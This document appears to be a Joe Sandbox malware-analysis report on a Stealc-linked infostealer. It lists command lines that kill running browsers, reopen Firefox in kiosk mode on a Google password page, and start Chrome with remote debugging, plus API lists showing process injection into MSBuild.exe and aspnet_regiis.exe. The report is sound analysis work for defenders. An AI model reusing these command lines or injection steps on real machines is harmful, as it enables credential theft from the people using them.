MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:22:43
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:22:44
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2040,i,12566554842792574168,10006094881574529848,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:22:46
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e6924c53-5749-4633-8b3c-cd6df8f23a18} 6628 "\\.\pipe\gecko-crash-server-pipe.6628" 208fcf6d310 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:22:46
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5244 --field-trial-handle=2040,i,12566554842792574168,10006094881574529848,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:22:46
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe"
Imagebase:	0xc70000
File size:	1'787'392 bytes
MD5 hash:	0537AFAC70B6FBC5A47749CAF7565B78
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000003.2775129715.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	09:22:49
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2796 -parentBuildID 20230927232528 -prefsHandle 4008 -prefMapHandle 4004 -prefsLen 26208 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f7bbb670-2ca0-4c09-a2bf-8b2bb22caf88} 6628 "\\.\pipe\gecko-crash-server-pipe.6628" 2088d1b6e10 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:22:50
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe"
Imagebase:	0xd80000
File size:	2'805'248 bytes
MD5 hash:	2636521BDC04A44FCFA2F00957445A04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	09:22:55
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe"
Imagebase:	0x710000
File size:	922'624 bytes
MD5 hash:	143C4039D125E72CE6D0CE771F89C518
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	09:22:55
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x4d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	09:22:55
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	09:22:58
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x4d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	09:22:58
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	09:22:58
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x4d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	09:22:58
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	09:22:59
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x4d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	09:22:59
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	09:22:59
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x4d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	09:22:59
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	09:22:59
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	09:23:00
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	09:23:02
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2240 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d661e13d-5d6b-45c4-a255-7549bd7ee9b7} 8000 "\\.\pipe\gecko-crash-server-pipe.8000" 1fd7236d710 socket
Imagebase:	0x7ff71e800000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	09:23:03
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe"
Imagebase:	0xd80000
File size:	2'805'248 bytes
MD5 hash:	2636521BDC04A44FCFA2F00957445A04
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	09:23:07
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f5d46eacf9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	09:23:08
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1824 --field-trial-handle=2012,i,11153109212737079239,13251433819729760146,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	09:23:09
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe"
Imagebase:	0x350000
File size:	4'373'504 bytes
MD5 hash:	8009FA9B3F6B5B95575A83C2F487F515
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	09:23:12
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f5d46eacf9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	09:23:12
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1964,i,9859859316029743068,17150694604793009132,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 05530DC0 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806416761.0000000005530000.00000040.00001000.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5530000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e0a130b98046b4f1fb1309f2b1653720a344228226f9c4bcec3133b7a680b39
Instruction ID: ec72b9190c5d51a73bb38456a7986bab60cb5365ff4b347a67c597dca056d5e3
Opcode Fuzzy Hash: 6e0a130b98046b4f1fb1309f2b1653720a344228226f9c4bcec3133b7a680b39
Instruction Fuzzy Hash: 782158EB20D220BDF242C1912B1AAFB576FF5D6B307308C26F40AC21A2E2944A4D61B1

Function 05530DC8 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806416761.0000000005530000.00000040.00001000.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5530000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f335acefe18889a21fa151ab11dcc3fe14a41c3025269b898bcc94ec4ac25bd
Instruction ID: ea33b419649747133ac98172d4e1e435de05f4d8bee59582536d65b3d0547df0
Opcode Fuzzy Hash: 1f335acefe18889a21fa151ab11dcc3fe14a41c3025269b898bcc94ec4ac25bd
Instruction Fuzzy Hash: 88217CAB20D320BDF742D1912B5AAFB5B6EF5D66303308C27F44EC21A2D2944A4E61B1

Function 05530DD4 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806416761.0000000005530000.00000040.00001000.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5530000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1287658a29dc6038ee49cdf9fba06091d27980ff308e95fee941a762366c9bf2
Instruction ID: a02e61c5730723a67944c6d95a9f0f5fb30afbae4101cc3e065960072b4e3688
Opcode Fuzzy Hash: 1287658a29dc6038ee49cdf9fba06091d27980ff308e95fee941a762366c9bf2
Instruction Fuzzy Hash: 42219FEB20D220BDF342C1912B5AAFB576EF5D2B31331CC27F44AC6592D2984B4E61B1

Function 05530E02 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806416761.0000000005530000.00000040.00001000.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5530000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93c0e7d2138634ef3677280ba213eb07aba77325fb6272c3c104c89133e63ae6
Instruction ID: 2e0992fc7616de2d533747ab93fe9f6e1fbfbcb82f33e70d81fe2b0765d8910a
Opcode Fuzzy Hash: 93c0e7d2138634ef3677280ba213eb07aba77325fb6272c3c104c89133e63ae6
Instruction Fuzzy Hash: 96218EEB20D221BEB302D4916B59AFB676FF5D2B307318836F40AC2592E2954A4D61B1

Function 05530DF2 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806416761.0000000005530000.00000040.00001000.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5530000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 275edff00debbf617e44c6f19824066a50f3e62296be7c7f0607b7b40139d0b4
Instruction ID: 44b49687103f4e88b95418af3078771556fce0e1137e5654b032b2e2df21ea43
Opcode Fuzzy Hash: 275edff00debbf617e44c6f19824066a50f3e62296be7c7f0607b7b40139d0b4
Instruction Fuzzy Hash: 88115CAB20D320BEF342C5917B5AAFB576EF4D2B317318C27F84AC2592D2944A4D61B1

Function 05530E24 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806416761.0000000005530000.00000040.00001000.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5530000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ebcfc9adf4f308319956cabf8f9003fd0f2fa893bc90c4fb43326e4638e51a1
Instruction ID: 6abf7741607cc8264a8612dbd7de414ef59708944ad3a049d3b4203164d6da71
Opcode Fuzzy Hash: 3ebcfc9adf4f308319956cabf8f9003fd0f2fa893bc90c4fb43326e4638e51a1
Instruction Fuzzy Hash: 1E116DEB20D2207DB242C1913B59AFB576FF5D2B31731CC27F40AC2592D2944A4D61B1

Function 05530E49 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806416761.0000000005530000.00000040.00001000.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5530000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 569f8fa7172d07cb68e1ea83449b9f053d2a34a02adae1e8c75732f1c0b32364
Instruction ID: 68e0c1ac185077c8acbab813f0282c3cf683bc2e2848d80a60bc978836dba23b
Opcode Fuzzy Hash: 569f8fa7172d07cb68e1ea83449b9f053d2a34a02adae1e8c75732f1c0b32364
Instruction Fuzzy Hash: 9711A7A720D3507EF302C5913A5AAFB6B1FF9D27357318C6BF44BC2192C6550A0D5175

Function 05530EDE Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806416761.0000000005530000.00000040.00001000.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5530000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2483263d536f30d91c1cbd8621c16dc0ed12da4d54ec3d9b88ebd3db90989095
Instruction ID: 78b112a84fb112a51a1ecefd3c07b04868ec6d54947f03d3f3e6811debab0b86
Opcode Fuzzy Hash: 2483263d536f30d91c1cbd8621c16dc0ed12da4d54ec3d9b88ebd3db90989095
Instruction Fuzzy Hash: 8C0192A720E3607DF702C0A12B5AAF75B2EF8D2A327358C27F44BC5592D2950A4E61B1

Function 05530E76 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806416761.0000000005530000.00000040.00001000.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5530000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a7736967a59412267896c41100f06014baf6f681b600c7fc9a9c643824b9a8
Instruction ID: 97e1a655b12d9ae99d9bb48048cfd45a5b6c1516c4a5a7e117b2cb7347e8327b
Opcode Fuzzy Hash: 49a7736967a59412267896c41100f06014baf6f681b600c7fc9a9c643824b9a8
Instruction Fuzzy Hash: 251148A720E390BEF302C5912B59AF76B2EF9C27317358C6BF84AC2092C2550A0C8271

Function 05530EAD Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806416761.0000000005530000.00000040.00001000.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5530000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff78770ce4e389ca9c7313fe891bb11423d8c8d25ad545dfcc6127e5980515ef
Instruction ID: 28d46203f1aaca105c606d19aa4e03d03892d6acfff3882a0d9fe4bea30e5f05
Opcode Fuzzy Hash: ff78770ce4e389ca9c7313fe891bb11423d8c8d25ad545dfcc6127e5980515ef
Instruction Fuzzy Hash: CB018BA720D350ADF301C4A12A5ABFA1B2EF9C2731B358C37F44AC6192C2850B4E82B1

Function 05530EF5 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806416761.0000000005530000.00000040.00001000.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5530000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 761874daf74c8f69212c4228fe0e3c217a835644e40170709b4f3ebe3711a9a5
Instruction ID: c85a1dc0c78c6425dd63f01b3d7d660679148063a3c47df9097fe24823e079c4
Opcode Fuzzy Hash: 761874daf74c8f69212c4228fe0e3c217a835644e40170709b4f3ebe3711a9a5
Instruction Fuzzy Hash: D6F0A4A721E3606EE302D4A13A6E6F71B2FF9C27317348C63F44AD6192C5450B4A82B8

Analysis Process: 5468191780.exePID: 1228, Parent PID: 7164COMMON

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	1.7%
Signature Coverage:	12.9%
Total number of Nodes:	653
Total number of Limit Nodes:	8

Executed Functions

Function 6C9D36C0 Relevance: 60.4, APIs: 20, Strings: 13, Instructions: 2673nativememorythreadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 6C9D4355
ShowWindow.USER32 ref: 6C9D436B
VirtualAlloc.KERNELBASE ref: 6C9D465C
NtGetContextThread.NTDLL ref: 6C9D488D
NtAllocateVirtualMemory.NTDLL ref: 6C9D4A06
NtWriteVirtualMemory.NTDLL ref: 6C9D4AF5
NtWriteVirtualMemory.NTDLL ref: 6C9D4D2A
NtWriteVirtualMemory.NTDLL ref: 6C9D4F8E
NtWriteVirtualMemory.NTDLL ref: 6C9D57B5
NtWriteVirtualMemory.NTDLL ref: 6C9D5A50
NtCreateThreadEx.NTDLL ref: 6C9D5FC2
CloseHandle.KERNEL32 ref: 6C9D6096
CloseHandle.KERNEL32 ref: 6C9D60A5
GetConsoleWindow.KERNEL32 ref: 6C9D60DB
ShowWindow.USER32 ref: 6C9D60F1

Strings

5mR, xrefs: 6C9D4EBB
.v`, xrefs: 6C9D59E8
@., xrefs: 6C9D4412
ntdll.dll, xrefs: 6C9D4385, 6C9D610B
kernel32.dll, xrefs: 6C9D4371, 6C9D60F7
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe, xrefs: 6C9D472C
@, xrefs: 6C9D4A66
G$3, xrefs: 6C9D4C56
D, xrefs: 6C9D46AA
@., xrefs: 6C9D428F
ntEJ, xrefs: 6C9D5B65
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 6C9D46F0
MZx, xrefs: 6C9D4399, 6C9D43B5, 6C9D611F, 6C9D613B

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: Virtual$Memory$Write$Window$CloseConsoleHandleShowThread$AllocAllocateContextCreate
String ID: .v`$5mR$@$C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe$D$MZx$kernel32.dll$ntEJ$ntdll.dll$G$3$@.$@.
API String ID: 4094469369-3903212573
Opcode ID: 7601f2f8f7189e9f5456ff19d3cff9fc09b1022ab3c026a525207c5f2bc0d1b5
Instruction ID: 025bfdf28bc0c11272486b8e1c1fa7d8305dd208c79f57032e97bf7ee154d7de
Opcode Fuzzy Hash: 7601f2f8f7189e9f5456ff19d3cff9fc09b1022ab3c026a525207c5f2bc0d1b5
Instruction Fuzzy Hash: B533A975A086158FDB18CF2CC9947D9BBF1BB4A340F12C599D409EBB94CA35EA88CF41

Function 6C9D1200 Relevance: 41.6, APIs: 18, Strings: 5, Instructions: 1347memoryfileCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 6C9D20F9
VirtualProtect.KERNELBASE ref: 6C9D223B
CloseHandle.KERNELBASE ref: 6C9D253E
CloseHandle.KERNEL32 ref: 6C9D2573
CloseHandle.KERNEL32 ref: 6C9D2587
GetCurrentProcess.KERNEL32 ref: 6C9D25B9
GetModuleHandleA.KERNEL32 ref: 6C9D25FB
K32GetModuleInformation.KERNEL32 ref: 6C9D2642
MapViewOfFile.KERNEL32 ref: 6C9D26A2
VirtualProtect.KERNEL32 ref: 6C9D270F

Strings

$?f3, xrefs: 6C9D1D00
@, xrefs: 6C9D20ED
mo, xrefs: 6C9D2360
$?f3, xrefs: 6C9D1D7F
.text, xrefs: 6C9D2072

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: Handle$CloseProtectVirtual$Module$CurrentFileInformationProcessView
String ID: $?f3$$?f3$.text$@$mo
API String ID: 815979854-3828033462
Opcode ID: 3d4ab7de552553b798261aecaf0b69374aac754d5746677594d2b28bf2b52cdd
Instruction ID: 7e9e56bdae5d31962a97658c768730158abbffbb3ef87b2755a89758b741333d
Opcode Fuzzy Hash: 3d4ab7de552553b798261aecaf0b69374aac754d5746677594d2b28bf2b52cdd
Instruction Fuzzy Hash: 8BB2A776A04A158FCB14CF6CC98878DBBF1BB4A310F118299E449EB790D635ED89CF02

Function 6C9D2E60 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 407
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 6C9D3025

Strings

